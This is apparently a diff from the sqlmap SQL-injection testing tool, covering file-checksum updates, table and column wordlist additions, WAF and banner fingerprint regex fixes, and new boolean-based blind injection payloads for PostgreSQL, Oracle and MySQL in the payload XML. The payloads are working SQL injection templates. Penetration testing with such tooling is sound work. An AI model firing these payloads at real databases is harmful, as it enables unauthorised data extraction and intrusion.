78917f19ea0750a665094d7dd7778d0c plugins/dbms/informix/connector.py
|
||||
d251aecff7544f79f78385386bb7fa35 plugins/dbms/informix/enumeration.py
|
||||
e8f0f28da98020dce27970a50e10a23b plugins/dbms/informix/filesystem.py
|
||||
89540595a6011b47629c68d11a5e4533 plugins/dbms/informix/fingerprint.py
|
||||
99a77ad7aa7ca4a4b5981f2fa0d9c616 plugins/dbms/informix/__init__.py
|
||||
e96b4721cfc65271a2de948c47474aaa plugins/dbms/informix/syntax.py
|
||||
5f130772d2295ae61140acba894eaceb plugins/dbms/informix/takeover.py
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e plugins/dbms/__init__.py
|
||||
4c8667e8af763ddf82ee314c6681d4e1 plugins/dbms/maxdb/connector.py
|
||||
075fd66b8bbabed18aeb304c6c0ef2a2 plugins/dbms/maxdb/enumeration.py
|
||||
@@ -153,16 +159,16 @@ c24f2512f13dbaff9543fe6d96cbe53b plugins/dbms/maxdb/__init__.py
|
||||
df0766e0f322505dcbfca2fc792fe62f plugins/dbms/maxdb/syntax.py
|
||||
aeec4f12950e20c46da405d23ea08dbb plugins/dbms/maxdb/takeover.py
|
||||
579d582f3716c310689b4aa7317b57df plugins/dbms/mssqlserver/connector.py
|
||||
8318300d92865330f5b0db5c3df29835 plugins/dbms/mssqlserver/enumeration.py
|
||||
7003c3c82ca56b40c7c90aea6c20cd53 plugins/dbms/mssqlserver/enumeration.py
|
||||
6c249bcdef486803686a8b2f11566637 plugins/dbms/mssqlserver/filesystem.py
|
||||
d01229e7161a5071934fc26b48a11e8c plugins/dbms/mssqlserver/fingerprint.py
|
||||
2fbe5e485bcd05511cd1d7cb8cbdbde4 plugins/dbms/mssqlserver/__init__.py
|
||||
a727b3cac910622d22b2ed92815716ef plugins/dbms/mssqlserver/syntax.py
|
||||
f3da9f5298dac5d1f468828c07c81f70 plugins/dbms/mssqlserver/takeover.py
|
||||
d8cd212ba7be09483af3f32256b71f05 plugins/dbms/mysql/connector.py
|
||||
c44c561dd9df1dc844a81be500ea02e7 plugins/dbms/mysql/connector.py
|
||||
d251aecff7544f79f78385386bb7fa35 plugins/dbms/mysql/enumeration.py
|
||||
a970f90c91ebd3a7e22955424fe5414e plugins/dbms/mysql/filesystem.py
|
||||
eed5093257e65adfae7bb56c5a6d3eb0 plugins/dbms/mysql/fingerprint.py
|
||||
edc62bbf269d053ccc68b4cdfebdf12b plugins/dbms/mysql/fingerprint.py
|
||||
a4535cb3873ada344e6e61dbe1a546d3 plugins/dbms/mysql/__init__.py
|
||||
4ad721acc40a964fc67154dd4683870e plugins/dbms/mysql/syntax.py
|
||||
aa88b5d6198cd31d9ab2be664da9a265 plugins/dbms/mysql/takeover.py
|
||||
@@ -176,7 +182,7 @@ cac6bd84d44ac929da6800719279875b plugins/dbms/oracle/takeover.py
|
||||
6c54ca5c9efad3e437467f9fe44435d6 plugins/dbms/postgresql/connector.py
|
||||
419dd50e6688fef760fec4f71430fb29 plugins/dbms/postgresql/enumeration.py
|
||||
9756fc02fc84719c3e330fcc7914bf17 plugins/dbms/postgresql/filesystem.py
|
||||
28bce42dac3ee8efccc78c7a58b170b6 plugins/dbms/postgresql/fingerprint.py
|
||||
5bd67a898b9671c78b00b9299674e6d7 plugins/dbms/postgresql/fingerprint.py
|
||||
0e7d17abf68f1dd770e969c84878d246 plugins/dbms/postgresql/__init__.py
|
||||
8711e7c1265a5e651c9aadca7db40cd5 plugins/dbms/postgresql/syntax.py
|
||||
50d8070e687e5806058a121311a36385 plugins/dbms/postgresql/takeover.py
|
||||
@@ -196,17 +202,17 @@ d0c7cc8ec2aa716b2e5cd3b5ab805c3a plugins/dbms/sybase/__init__.py
|
||||
7a1c6cb238b5b464e1e9641469e6e503 plugins/dbms/sybase/takeover.py
|
||||
62faa58e5aace4b6a6d562788685186f plugins/generic/connector.py
|
||||
cdbf6eec4a94f830deb7dbab1c1a2935 plugins/generic/custom.py
|
||||
977bbd1bced67c2c4aa74d12c77ac165 plugins/generic/databases.py
|
||||
f2394baa3746188184be2144025eeffc plugins/generic/entries.py
|
||||
f27f76bfd2ed9ce384dcd43fb7e10226 plugins/generic/databases.py
|
||||
1177bbad4e77a2ca85e0054569e03d38 plugins/generic/entries.py
|
||||
e335b868f5fb1154c9f72143d602915d plugins/generic/enumeration.py
|
||||
3e673ef4e6592f52a11d88e61fe4dc2b plugins/generic/filesystem.py
|
||||
5637c508ca6348f29c2b100a3e80dddc plugins/generic/fingerprint.py
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e plugins/generic/__init__.py
|
||||
7ffeee6d232ff6b342f362a2a4d226c0 plugins/generic/misc.py
|
||||
7b3e044a7fca497278d79883697089b7 plugins/generic/search.py
|
||||
27d700d0c4414400ac2cf68bbbed3408 plugins/generic/search.py
|
||||
73f8d047dbbcff307d62357836e382e6 plugins/generic/syntax.py
|
||||
da3ebc20998af02e3d952d0417a67792 plugins/generic/takeover.py
|
||||
4b5a6e2aec8e240fc43916d9dde27b14 plugins/generic/users.py
|
||||
d35f994664fb7a7fcee656633dfb31ed plugins/generic/users.py
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e plugins/__init__.py
|
||||
b04db3e861edde1f9dd0a3850d5b96c8 shell/backdoor.asp_
|
||||
158bfa168128393dde8d6ed11fe9a1b8 shell/backdoor.aspx_
|
||||
@@ -217,8 +223,8 @@ ff90cb0366f7cefbdd6e573e27e6238c shell/runcmd.exe_
|
||||
c3cc8b7727161e64ab59f312c33b541a shell/stager.aspx_
|
||||
1f7f125f30e0e800beb21e2ebbab18e1 shell/stager.jsp_
|
||||
01e3505e796edf19aad6a996101c81c9 shell/stager.php_
|
||||
56702e95555adee718b6a11ee7098fd4 sqlmapapi.py
|
||||
bb63aa4415b779ddabe93b10300ce813 sqlmap.py
|
||||
c3ee3d5e5eab01436d4d5e1dab0f32db sqlmapapi.py
|
||||
c6c088ca8df6e60c63ef64767472bbcb sqlmap.py
|
||||
1316deb997418507e76221c84ec99946 tamper/apostrophemask.py
|
||||
a6efe8f914c769c52afec703bd73609f tamper/apostrophenullencode.py
|
||||
b1c56983919b69f4f6f0e7929c881e7a tamper/appendnullbyte.py
|
||||
@@ -235,6 +241,7 @@ e2aca0ea57afc24dd154472034dc9c8c tamper/commalessmid.py
|
||||
11bb0652668bb6624494567fd92933b3 tamper/escapequotes.py
|
||||
731c25dd33fca28514930d4409daaaa3 tamper/greatest.py
|
||||
1becabc90d81c70fd24b54cae03a3702 tamper/halfversionedmorekeywords.py
|
||||
61add9dce3c0c9035901db87fa969c89 tamper/htmlencode.py
|
||||
17313c5a68aa44325616e0e38869b98e tamper/ifnull2ifisnull.py
|
||||
dd71bbc7f76ef55a2c9c16645347ead8 tamper/informationschemacomment.py
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e tamper/__init__.py
|
||||
@@ -245,6 +252,7 @@ c16c3ed0ce302034d99ee0b8f34fbd0b tamper/modsecurityzeroversioned.py
|
||||
e65ff0680df2fc89444ec5953bb2f161 tamper/nonrecursivereplacement.py
|
||||
6780d738236ac200d230c4cb497bd1a2 tamper/overlongutf8.py
|
||||
3f05d5218b22280adcd91fe53830bcb4 tamper/percentage.py
|
||||
9741ad2359382dc8673189224995a5f7 tamper/plus2concat.py
|
||||
7a93f510f231278897650da1c7d13b23 tamper/randomcase.py
|
||||
34c255f3bca6d5fee2dfb18ed86d406f tamper/randomcomments.py
|
||||
f5e9eb84d4c5e9a19fe7154a8aebe13d tamper/securesphere.py
|
||||
@@ -269,7 +277,7 @@ a5f02f75856551499c0bf33672869a7f tamper/versionedkeywords.py
|
||||
99a90d668f367f5660698c00e84ec671 tamper/xforwardedfor.py
|
||||
368165b45dadcdff4422bc010700832a thirdparty/ansistrm/ansistrm.py
|
||||
d41d8cd98f00b204e9800998ecf8427e thirdparty/ansistrm/__init__.py
|
||||
a53a7a876b401aaaa3535376676692ae thirdparty/beautifulsoup/beautifulsoup.py
|
||||
8e775c25bc9e84891ad6fcb4f0005c23 thirdparty/beautifulsoup/beautifulsoup.py
|
||||
cb2e1fe7c404dff41a2ae9132828f532 thirdparty/beautifulsoup/__init__.py
|
||||
ff54a1d98f0ab01ba7b58b068d2ebd26 thirdparty/bottle/bottle.py
|
||||
4528e6a7bb9341c36c425faf40ef32c3 thirdparty/bottle/__init__.py
|
||||
@@ -327,7 +335,7 @@ d41d8cd98f00b204e9800998ecf8427e thirdparty/__init__.py
|
||||
e3b18f925d125bd17c7e7a7ec0b4b85f thirdparty/keepalive/__init__.py
|
||||
e0c6a936506bffeed53ce106ec15942d thirdparty/keepalive/keepalive.py
|
||||
d41d8cd98f00b204e9800998ecf8427e thirdparty/magic/__init__.py
|
||||
49f0d123e044dd32a452e2fe51f1a9c3 thirdparty/magic/magic.py
|
||||
bf318e0abbe6b2e1a167a233db7f744f thirdparty/magic/magic.py
|
||||
d41d8cd98f00b204e9800998ecf8427e thirdparty/multipart/__init__.py
|
||||
03c8abc17b228e59bcfda1f11a9137e0 thirdparty/multipart/multipartpost.py
|
||||
3e502b04f3849afbb7f0e13b5fd2b5c1 thirdparty/odict/__init__.py
|
||||
@@ -342,31 +350,33 @@ ff80a22ee858f5331b0c088efa98b3ff thirdparty/prettyprint/prettyprint.py
|
||||
5c70f8e5f7353aedc6d8d21d4fb72b37 thirdparty/pydes/__init__.py
|
||||
a7f735641c5b695f3d6220fe7c91b030 thirdparty/pydes/pyDes.py
|
||||
d41d8cd98f00b204e9800998ecf8427e thirdparty/socks/__init__.py
|
||||
ec6bab337d529037fb7db0b126bce7cd thirdparty/socks/socks.py
|
||||
74fcae36f5a2cc440c1717ae8e3f64c4 thirdparty/socks/socks.py
|
||||
d41d8cd98f00b204e9800998ecf8427e thirdparty/termcolor/__init__.py
|
||||
ea649aae139d8551af513769dd913dbf thirdparty/termcolor/termcolor.py
|
||||
bf55909ad163b58236e44b86e8441b26 thirdparty/wininetpton/__init__.py
|
||||
a44e7cf30f2189b2fbdb635b310cdc0c thirdparty/wininetpton/win_inet_pton.py
|
||||
855372c870a23d46683f8aa39d75f6a1 thirdparty/xdot/__init__.py
|
||||
593473084228b63a12318d812e50f1e2 thirdparty/xdot/xdot.py
|
||||
08c706478fad0acba049d0e32cbb6411 udf/mysql/linux/32/lib_mysqludf_sys.so_
|
||||
1501fa7150239b18acc0f4a9db2ebc0d udf/mysql/linux/64/lib_mysqludf_sys.so_
|
||||
7824059e8fc87c4a565e774676e2f1eb udf/mysql/windows/32/lib_mysqludf_sys.dll_
|
||||
7fed5b8e99e36ce255c64527ec61a995 udf/mysql/windows/64/lib_mysqludf_sys.dll_
|
||||
6b4dc184e545d7bd5e7c31590647471d udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
|
||||
8c5573d1da59024c47d00cc8492a92df udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
|
||||
b9930f6bf43780fff469bc40e20599c3 udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
|
||||
6930b6d67f4d52b5c1663ac2d8460576 udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
|
||||
5c177ee2cffad6133e99a24d1f913660 udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
|
||||
4d0c06a51c5b03b41ad4df33a304d282 udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
|
||||
db0b1fe75fd9db96c1fc6ab42ae76d70 udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
|
||||
df8524a627568864e1de516bbe5718ef udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
|
||||
3c3e3b72fa5b5860108a0350a0604ba2 udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
|
||||
b10e351f5d8c07fdf08dc3f44b00c01c udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
|
||||
7714b28ee7669f60a2321f1b4ce6bba8 udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
|
||||
9911482642131fd3be6a03a28294d24a udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
|
||||
fed2ed6df3f809b1019e9a0ee102799d udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
|
||||
d5d004b396ca5b14afe03a294d42c475 udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
|
||||
5b79d7f667a0e1e4a70a5ceb70107cbe udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
|
||||
b396f050d36e82baf2724f140165fbd5 udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
|
||||
0ee1310d4e2a4cc5a7295df01a3a78bf udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
|
||||
c7d9e1fcac5f047edf17d79a825fb64b udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
|
||||
ec41a080f4570c3866b9a7219f7623c4 udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
|
||||
337e2b84dfb089d1ba78323ab2fd21bd udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
|
||||
e3234ad91b65c476e69743b196ea8394 udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
|
||||
2e39682ab7f7f9d6bcce6a3f9dac576b udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
|
||||
b17ade3fe472b00f6d4d655f0d1036b2 udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
|
||||
3dfc42ea62f5db4196a1b736c603ef0f udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
|
||||
fe297bfe5e27e7f99d64b2d6baa766fe udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
|
||||
d7ce763983f5ef4cdae07480c7e16c36 udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
|
||||
f9e5d7a8f1fbd8df80d07f72ada0251b udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
|
||||
10a20abaf98ff25527702c7e37187427 udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
|
||||
0b5158292758f4a67cb1bdfcefcd4ef3 udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
|
||||
1d8eb0e3d38f1265ea1bef7f9ec60230 udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
|
||||
1222dac08cf53e31e74e350a2c17452f udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
|
||||
27761c5e046da59f1f1e11f6d194e38a udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
|
||||
a6b9c964f7c7d7012f8f434bbd84a041 udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
|
||||
d9006810684baf01ea33281d21522519 udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
|
||||
ca3ab78d6ed53b7f2c07ed2530d47efd udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
|
||||
@@ -400,7 +410,7 @@ cc9c82cfffd8ee9b25ba3af6284f057e waf/__init__.py
|
||||
32516985d3cb0aeeb1bf28062820b045 waf/kona.py
|
||||
c3de612a7960b08e1e7f97aa05b58df1 waf/modsecurity.py
|
||||
dc79a2e675d17df4cba1f8b839cbc11b waf/netcontinuum.py
|
||||
c218fd16246dfbbd0485cb3456182c71 waf/netscaler.py
|
||||
8d3230fa3c6a7e41dc85dd04c95db044 waf/netscaler.py
|
||||
4e05b8169e53edd36a6269e937958744 waf/newdefend.py
|
||||
80eb59b4dcb62de8c97bd1bebbfb3f80 waf/nsfocus.py
|
||||
477c3b6b31e8eb1fe836bd5a24c9fab2 waf/paloalto.py
|
||||
@@ -428,23 +438,23 @@ b5ea5375df444e0240f1ee0e2a8e52fb waf/trafficshield.py
|
||||
3bcac085dcd9ed26b50a2320e418e9f3 waf/yundun.py
|
||||
2a57f322f0b6e7b11b8df0909816a34f waf/yunsuo.py
|
||||
2d53fdaca0d7b42edad5192661248d76 xml/banner/cookie.xml
|
||||
37603bc0905af0c65480a2ca959990ec xml/banner/generic.xml
|
||||
e87d59af23b7b18cd56c9883e5f02d5c xml/banner/generic.xml
|
||||
d8925c034263bf1b83e7d8e1c78eec57 xml/banner/mssql.xml
|
||||
c97c383b560cd578f74c5e4d88c88ed2 xml/banner/mysql.xml
|
||||
9b262a617b06af56b1267987d694bf6f xml/banner/oracle.xml
|
||||
0d1c881156b760492d8004bd0d926c63 xml/banner/postgresql.xml
|
||||
d90fe5a47b95dff3eb1797764c9db6c5 xml/banner/postgresql.xml
|
||||
b07b5c47c751787e136650ded060197f xml/banner/server.xml
|
||||
e5d141fb2ba31e4eae3495554b538908 xml/banner/servlet.xml
|
||||
d48c971769c6131e35bd52d2315a8d58 xml/banner/servlet.xml
|
||||
d989813ee377252bca2103cea524c06b xml/banner/sharepoint.xml
|
||||
350605448f049cd982554123a75f11e1 xml/banner/x-aspnet-version.xml
|
||||
2394458d582a636c52342cff33ae3035 xml/banner/x-powered-by.xml
|
||||
817078783e1edaa492773d3b34d8eef0 xml/banner/x-powered-by.xml
|
||||
fb93505ef0ab3b4a20900f3e5625260d xml/boundaries.xml
|
||||
535d625cff8418bdc086ab4e1bbf5135 xml/errors.xml
|
||||
2e13b9e0a51768969d4ccc02cf62ea70 xml/livetests.xml
|
||||
18b2c7e5738a3be72d759af96a9aaddf xml/payloads/boolean_blind.xml
|
||||
103a4c9b12c582b24a3fac8147a9c8d4 xml/payloads/error_based.xml
|
||||
a279656ea3fcb85c727249b02f828383 xml/livetests.xml
|
||||
14a2abeb88b00ab489359d0dd7a3017f xml/payloads/boolean_blind.xml
|
||||
5a4ec9aaac9129205b88f2a7df9ffb27 xml/payloads/error_based.xml
|
||||
06b1a210b190d52477a9d492443725b5 xml/payloads/inline_query.xml
|
||||
96adb9bfbab867d221974d3ddb303cb6 xml/payloads/stacked_queries.xml
|
||||
c8b152ecebf04ec997e52c6c78cbd488 xml/payloads/time_blind.xml
|
||||
033b39025e8ee0f302935f6db3a39e77 xml/payloads/union_query.xml
|
||||
313c0e1cc42de27a29c0e0ac67fee71d xml/queries.xml
|
||||
3194e2688a7576e1f877d5b137f7c260 xml/payloads/stacked_queries.xml
|
||||
c2d8dd03db5a663e79eabb4495dd0723 xml/payloads/time_blind.xml
|
||||
ac649aff0e7db413e4937e446e398736 xml/payloads/union_query.xml
|
||||
5bd467d86d7cb55fbe5f66e4ff9a6bec xml/queries.xml
|
||||
|
||||
@@ -471,6 +471,7 @@ settingsid
|
||||
lname
|
||||
sale_date
|
||||
module_addr
|
||||
flag
|
||||
|
||||
# spanish
|
||||
usuario
|
||||
|
||||
@@ -1615,6 +1615,7 @@ SPACE
|
||||
geo_Sea
|
||||
DATA_ORG
|
||||
Contributor
|
||||
flag
|
||||
|
||||
# Various Joomla tables
|
||||
jos_vm_product_download
|
||||
|
||||
+3629
-1495
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+1
-1
@@ -18,7 +18,7 @@ def detect(get_page):
|
||||
for vector in WAF_ATTACK_VECTORS:
|
||||
_, headers, _ = get_page(get=vector)
|
||||
retval = re.search(r"\Aclose", headers.get("Cneonction", "") or headers.get("nnCoection", ""), re.I) is not None
|
||||
retval = re.search(r"\A(ns_af=|citrix_ns_id|NSC_)", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
|
||||
retval |= re.search(r"\A(ns_af=|citrix_ns_id|NSC_)", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
|
||||
retval |= re.search(r"\ANS-CACHE", headers.get(HTTP_HEADER.VIA, ""), re.I) is not None
|
||||
if retval:
|
||||
break
|
||||
|
||||
@@ -115,7 +115,7 @@
|
||||
<info type="Linux" distrib="Mandriva"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Red[\-\_\ ]*Hat">
|
||||
<regexp value="Red[\-\_\ ]?Hat">
|
||||
<info type="Linux" distrib="Red Hat"/>
|
||||
</regexp>
|
||||
|
||||
@@ -147,7 +147,7 @@
|
||||
|
||||
<!-- Mac OSX -->
|
||||
|
||||
<regexp value="Mac[\-\_\ ]*OSX">
|
||||
<regexp value="Mac[\-\_\ ]?OSX">
|
||||
<info type="Mac OSX"/>
|
||||
</regexp>
|
||||
|
||||
|
||||
@@ -15,11 +15,11 @@
|
||||
</regexp>
|
||||
|
||||
<!-- Ubuntu -->
|
||||
<regexp value="PostgreSQL\s+(8\.2\.7)\s+on\s+.*?\s+\(Ubuntu 4\.2\.3-2ubuntu4\)">
|
||||
<regexp value="PostgreSQL\s+(8\.2\.7)\s+on.*?\(Ubuntu 4\.2\.3-2ubuntu4\)">
|
||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.04" codename="Hardy Heron"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="PostgreSQL\s+(8\.3\.5)\s+on\s+.*?\s+\(Ubuntu 4\.3\.2-1ubuntu11\)">
|
||||
<regexp value="PostgreSQL\s+(8\.3\.5)\s+on.*?\(Ubuntu 4\.3\.2-1ubuntu11\)">
|
||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.10" codename="Intrepid Ibex"/>
|
||||
</regexp>
|
||||
</root>
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
<!-- Reference: http://www.http-stats.com/Servlet-Engine -->
|
||||
|
||||
<root>
|
||||
<regexp value="Tomcat( Web Server)*\/([\d\.]+)">
|
||||
<regexp value="Tomcat( Web Server)?\/([\d\.]+)">
|
||||
<info technology="Tomcat" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
|
||||
@@ -19,11 +19,11 @@
|
||||
<info technology="ASP.NET" type="Windows"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="(JBoss|Tomcat)[\-\_\/\ ]*([\d\.]+)">
|
||||
<regexp value="(JBoss|Tomcat)[\-\_\/\ ]?([\d\.]+)">
|
||||
<info technology="Tomcat" tech_version="2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Servlet[\-\_\/\ ]*([\d\.]+)">
|
||||
<regexp value="Servlet[\-\_\/\ ]?([\d\.]+)">
|
||||
<info technology="Servlet" tech_version="1"/>
|
||||
</regexp>
|
||||
</root>
|
||||
|
||||
+288
-288
File diff suppressed because it is too large
Load Diff
+178
-68
@@ -486,6 +486,82 @@ Tag: <test>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)</title>
|
||||
<stype>1</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</vector>
|
||||
<request>
|
||||
<payload>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>PostgreSQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>PostgreSQL OR boolean-based blind - WHERE or HAVING clause (CAST)</title>
|
||||
<stype>1</stype>
|
||||
<level>3</level>
|
||||
<risk>3</risk>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</vector>
|
||||
<request>
|
||||
<payload>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>PostgreSQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)</title>
|
||||
<stype>1</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</vector>
|
||||
<request>
|
||||
<payload>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Oracle</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle OR boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)</title>
|
||||
<stype>1</stype>
|
||||
<level>3</level>
|
||||
<risk>3</risk>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</vector>
|
||||
<request>
|
||||
<payload>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Oracle</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!-- End of boolean-based blind tests - WHERE or HAVING clause -->
|
||||
|
||||
<!-- Boolean-based blind tests - Parameter replace -->
|
||||
@@ -496,12 +572,12 @@ Tag: <test>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</vector>
|
||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
||||
<request>
|
||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</payload>
|
||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</comparison>
|
||||
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
@@ -516,12 +592,12 @@ Tag: <test>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</vector>
|
||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
||||
<request>
|
||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</payload>
|
||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</comparison>
|
||||
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
